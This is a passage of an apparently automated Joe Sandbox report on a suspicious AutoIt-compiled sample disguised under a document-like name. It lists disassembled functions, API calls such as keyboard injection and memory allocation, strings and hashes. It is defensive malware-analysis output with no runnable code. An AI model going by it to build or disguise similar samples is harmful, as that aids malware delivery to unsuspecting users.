                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Library$Free$Load__wfsopen_memmove
                                                • String ID:
                                                • API String ID: 1396898556-0
                                                • Opcode ID: a68c797b5abf95026f101737c863e828358e767ad2e927e273bb338a6c1581c0
                                                • Instruction ID: 7ef1711852e3ec4b7f3e982229c26309414fd0a1cb2bcf4b9907d1ae653fc345
                                                • Opcode Fuzzy Hash: a68c797b5abf95026f101737c863e828358e767ad2e927e273bb338a6c1581c0
                                                • Instruction Fuzzy Hash: 1E110A31601306ABCB10FF70DC12FAE77A9DF84701F10842DF581A61C5DA759A159B70
                                                Function 00DC01AF Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID:
                                                • API String ID: 1473721057-0
                                                • Opcode ID: ea2fd8b51208837789738e0b6caf28d164ba484864115679ecd7bddc25543fe5
                                                • Instruction ID: 343b0a76555e9757ff632ac5ff4c8eb3c2059c1eb85b2e8208c41895ecc7d0a6
                                                • Opcode Fuzzy Hash: ea2fd8b51208837789738e0b6caf28d164ba484864115679ecd7bddc25543fe5
                                                • Instruction Fuzzy Hash: 8E212274608342CFDB25EF58C445B1ABBE0BF85304F09896DF89A57721D731E855CB62
                                                Function 00DA0941 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00DA09F4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LongNamePath
                                                • String ID:
                                                • API String ID: 82841172-0
                                                • Opcode ID: b6473276fa53d9ca10ca2538c9423d5a15ea40cc5ecfbb0b43ae38089b90c7a2
                                                • Instruction ID: 1bbcc720301d22e3b3ae1ccce796d46d06508f53ac77da1a3787c65a647751fb
                                                • Opcode Fuzzy Hash: b6473276fa53d9ca10ca2538c9423d5a15ea40cc5ecfbb0b43ae38089b90c7a2
                                                • Instruction Fuzzy Hash: E001B132089248CFCB12DB94E8E86C03FB5EF4B32831851DAD8C08B436CE66591EE771
                                                Function 00D85D20 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,00D85807,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00D85D76
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FileRead
                                                • String ID:
                                                • API String ID: 2738559852-0
                                                • Opcode ID: 26a9bebb971d308093f1dbe3938e2d3222b6194484fd8b4d1c3124c628e74c3a
                                                • Instruction ID: 2aef0c6f8d08a187c6d87875f5ffc7f943059031692b3f2734f1a3d54f586127
                                                • Opcode Fuzzy Hash: 26a9bebb971d308093f1dbe3938e2d3222b6194484fd8b4d1c3124c628e74c3a
                                                • Instruction Fuzzy Hash: A9113631200B019FD3309F15E888B66B7E9EF45760F14C92EE8AA8BA54D7B1F945CB60
                                                Function 00DA4A93 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                Download Yara Rule
                                                APIs
                                                • __lock_file.LIBCMT ref: 00DA4AD6
                                                  • Part of subcall function 00DA8D68: __getptd_noexit.LIBCMT ref: 00DA8D68
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __getptd_noexit__lock_file
                                                • String ID:
                                                • API String ID: 2597487223-0
                                                • Opcode ID: 00c7a885d817cb500c6f223f95896ebbe5b15dfe4c8ebc16cfc9bb3d30427012
                                                • Instruction ID: d426c4af7f83bfed5a22279c7821762cd411cc8aa246b8a7673be4d38c5846e1
                                                • Opcode Fuzzy Hash: 00c7a885d817cb500c6f223f95896ebbe5b15dfe4c8ebc16cfc9bb3d30427012
                                                • Instruction Fuzzy Hash: 31F044319402099BDF51AFA4CC0679F7661EF42329F188518B814AB1D1DBB88A61DF75
                                                Function 00D84FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                Download Yara Rule
                                                APIs
                                                • FreeLibrary.KERNEL32(?,?,00E462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D84FDE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FreeLibrary
                                                • String ID:
                                                • API String ID: 3664257935-0
                                                • Opcode ID: edb61e297691e26331ae7e838a1d72811363dfc5787b5415cce72d9c158f7aef
                                                • Instruction ID: 53e5209d9eade566973304f3bfa2231063f19b9c4b647bc4b94a3917bad90dc1
                                                • Opcode Fuzzy Hash: edb61e297691e26331ae7e838a1d72811363dfc5787b5415cce72d9c158f7aef
                                                • Instruction Fuzzy Hash: E9F03972505722DFCB34AF64E494812BBE1BF153293248A3EE2D682A10C732A894DF60
                                                Function 00DA09D5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00DA09F4
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LongNamePath_memmove
                                                • String ID:
                                                • API String ID: 2514874351-0
                                                • Opcode ID: 0e88ac5371afa81e12013b8e58a8a02104c0befee9460aa73df5c9e99f9ef03d
                                                • Instruction ID: bd3b62ba244b508a4ba908da8f49a754559fd65ba758f4e9abcdcfa3c5ad8862
                                                • Opcode Fuzzy Hash: 0e88ac5371afa81e12013b8e58a8a02104c0befee9460aa73df5c9e99f9ef03d
                                                • Instruction Fuzzy Hash: 14E0CD369042289BC720E698DC05FFA77EDDF89790F0401B5FC0CD7215D961AC9186B0
                                                Function 00DE9129 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __fread_nolock
                                                • String ID:
                                                • API String ID: 2638373210-0
                                                • Opcode ID: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
                                                • Instruction ID: 961577e1da061bbe4bfd2a68a9d00eb7cf1a58df790fb80f605b6212b083294b
                                                • Opcode Fuzzy Hash: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
                                                • Instruction Fuzzy Hash: 30E092B0104B405FD7359A24D8107E3B3E0FB06315F04081CF29A83341EB6278418769
                                                Function 00D85DAE Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,00DBE16B,?,?,00000000), ref: 00D85DBF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FilePointer
                                                • String ID:
                                                • API String ID: 973152223-0
                                                • Opcode ID: ac6c8104ce237a6be395baf37ac745cccd49805db712abf49d743c9630855ede
                                                • Instruction ID: 51601593d38a9f6e93e4c96358031e9c2e5044d108512373f3899bfe9dc91b59
                                                • Opcode Fuzzy Hash: ac6c8104ce237a6be395baf37ac745cccd49805db712abf49d743c9630855ede
                                                • Instruction Fuzzy Hash: 15D0C77464020CBFE710DB81DC46FA9777CD705710F100294FD4466690D6B27D548795
                                                Function 00DA548B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __wfsopen
                                                • String ID:
                                                • API String ID: 197181222-0
                                                • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                • Instruction ID: 63cfdcc7d1144180ce075cd8af074ee6c9479a7d660c222e778485c59be2e76c
                                                • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                • Instruction Fuzzy Hash: 08B0927684020C7BDE012E82FC02A593F199B45678F808020FB0C18162A6B3A6A096A9
                                                Function 00DED2E6 Relevance: 1.4, APIs: 1, Instructions: 198COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(00000002,00000000), ref: 00DED46A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorLast
                                                • String ID:
                                                • API String ID: 1452528299-0
                                                • Opcode ID: 2c033c697f2b4cd1f3f059197cf0358d3b54bf647140c25b48f92f590d3c492f
                                                • Instruction ID: 23f1011665418c02aa3e1dff0eee6f5160bd9026969d85c4fad0eb066c6f7e22
                                                • Opcode Fuzzy Hash: 2c033c697f2b4cd1f3f059197cf0358d3b54bf647140c25b48f92f590d3c492f
                                                • Instruction Fuzzy Hash: A4715C342043419FC714FF25D491A6AB7E1EF99714F18492CF8969B2A2DF30E909CB72
                                                Function 00DA0E48 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AllocVirtual
                                                • String ID:
                                                • API String ID: 4275171209-0
                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction ID: ca025a722f3a7a9facdd13617661776d7571fcaac1a83f890ac08162ea8fcb67
                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction Fuzzy Hash: 1931F671A00105DFCB18DF58D480969FBB6FF5A300B688AA5E449DB651D731EEC1DBE0
                                                Function 018C22A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNELBASE(000001F4), ref: 018C22B1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1366037876.00000000018C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 018C0000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_18c0000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Sleep
                                                • String ID:
                                                • API String ID: 3472027048-0
                                                • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction ID: e8eede6392525b6426c0adc9b190d4c8d536ad4f6be85959a83f513971ec9691
                                                • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction Fuzzy Hash: FCE0E67494020EDFDB00EFB8D54969E7FB4EF04701F100165FD01D2281D6309E509A72

                                                Non-executed Functions

                                                Function 00E0CDAC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 637windowkeyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00E0CE50
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E0CE91
                                                • GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00E0CED6
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E0CF00
                                                • SendMessageW.USER32 ref: 00E0CF29
                                                • _wcsncpy.LIBCMT ref: 00E0CFA1
                                                • GetKeyState.USER32(00000011), ref: 00E0CFC2
                                                • GetKeyState.USER32(00000009), ref: 00E0CFCF
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E0CFE5
                                                • GetKeyState.USER32(00000010), ref: 00E0CFEF
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E0D018
                                                • SendMessageW.USER32 ref: 00E0D03F
                                                • SendMessageW.USER32(?,00001030,?,00E0B602), ref: 00E0D145
                                                • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00E0D15B
                                                • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00E0D16E
                                                • SetCapture.USER32(?), ref: 00E0D177
                                                • ClientToScreen.USER32(?,?), ref: 00E0D1DC
                                                • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00E0D1E9
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E0D203
                                                • ReleaseCapture.USER32 ref: 00E0D20E
                                                • GetCursorPos.USER32(?), ref: 00E0D248
                                                • ScreenToClient.USER32(?,?), ref: 00E0D255
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00E0D2B1
                                                • SendMessageW.USER32 ref: 00E0D2DF
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00E0D31C
                                                • SendMessageW.USER32 ref: 00E0D34B
                                                • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00E0D36C
                                                • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00E0D37B
                                                • GetCursorPos.USER32(?), ref: 00E0D39B
                                                • ScreenToClient.USER32(?,?), ref: 00E0D3A8
                                                • GetParent.USER32(?), ref: 00E0D3C8
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00E0D431
                                                • SendMessageW.USER32 ref: 00E0D462
                                                • ClientToScreen.USER32(?,?), ref: 00E0D4C0
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00E0D4F0
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00E0D51A
                                                • SendMessageW.USER32 ref: 00E0D53D
                                                • ClientToScreen.USER32(?,?), ref: 00E0D58F
                                                • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00E0D5C3
                                                  • Part of subcall function 00D825DB: GetWindowLongW.USER32(?,000000EB), ref: 00D825EC
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00E0D65F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                • String ID: @GUI_DRAGID$F$pr
                                                • API String ID: 3977979337-1436871235
                                                • Opcode ID: 5102e4cb891e6c04e7dc0687934038a68196c3035106e0cf31a55edaaf4a4986
                                                • Instruction ID: fc589fed04ee71e20443ae2887cbb1f8e078ba7590d5977abff11cf7b950f774
                                                • Opcode Fuzzy Hash: 5102e4cb891e6c04e7dc0687934038a68196c3035106e0cf31a55edaaf4a4986
                                                • Instruction Fuzzy Hash: BB42AF34204341AFD725CF68DC44EAABBE5FF49318F24161DF695A72E0C7329896CB92
                                                Function 00E0804A Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00E0873F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: %d/%02d/%02d
                                                • API String ID: 3850602802-328681919
                                                • Opcode ID: 624ff7cd730c394831a17fd01973452b5cab9298151423717f10c6f53a6931a6
                                                • Instruction ID: 65e7a331459fbe8846a49b63cbb9e02d56ef1c6c6224ad6d4ea18bd356ea3233
                                                • Opcode Fuzzy Hash: 624ff7cd730c394831a17fd01973452b5cab9298151423717f10c6f53a6931a6
                                                • Instruction Fuzzy Hash: FF12E170500204AFEB248F25DD49FAA7BB8EF49714F246129F995FB2E0DF718985CB60
                                                Function 00D9710E Relevance: 50.6, APIs: 19, Strings: 7, Instructions: 5093COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove$_memset
                                                • String ID: 0w$DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
                                                • API String ID: 1357608183-3460961967
                                                • Opcode ID: d386ff5b8ed62b9cd9e06f85e46f4dcf199772224c1cd11c380beaa9355cc93a
                                                • Instruction ID: a3c27abbaed6b92415b53441f351e37809a963bdcf8923ef1fb82f614571fff0
                                                • Opcode Fuzzy Hash: d386ff5b8ed62b9cd9e06f85e46f4dcf199772224c1cd11c380beaa9355cc93a
                                                • Instruction Fuzzy Hash: 6E939075A04215DBDF24CF98C881BADB7B1FF58710F29816BE955AB380E7709E81CB60
                                                Function 00D84A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(00000000,?), ref: 00D84A3D
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00DBDA8E
                                                • IsIconic.USER32(?), ref: 00DBDA97
                                                • ShowWindow.USER32(?,00000009), ref: 00DBDAA4
                                                • SetForegroundWindow.USER32(?), ref: 00DBDAAE
                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00DBDAC4
                                                • GetCurrentThreadId.KERNEL32 ref: 00DBDACB
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00DBDAD7
                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 00DBDAE8
                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 00DBDAF0
                                                • AttachThreadInput.USER32(00000000,?,00000001), ref: 00DBDAF8
                                                • SetForegroundWindow.USER32(?), ref: 00DBDAFB
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00DBDB10
                                                • keybd_event.USER32(00000012,00000000), ref: 00DBDB1B
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00DBDB25
                                                • keybd_event.USER32(00000012,00000000), ref: 00DBDB2A
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00DBDB33
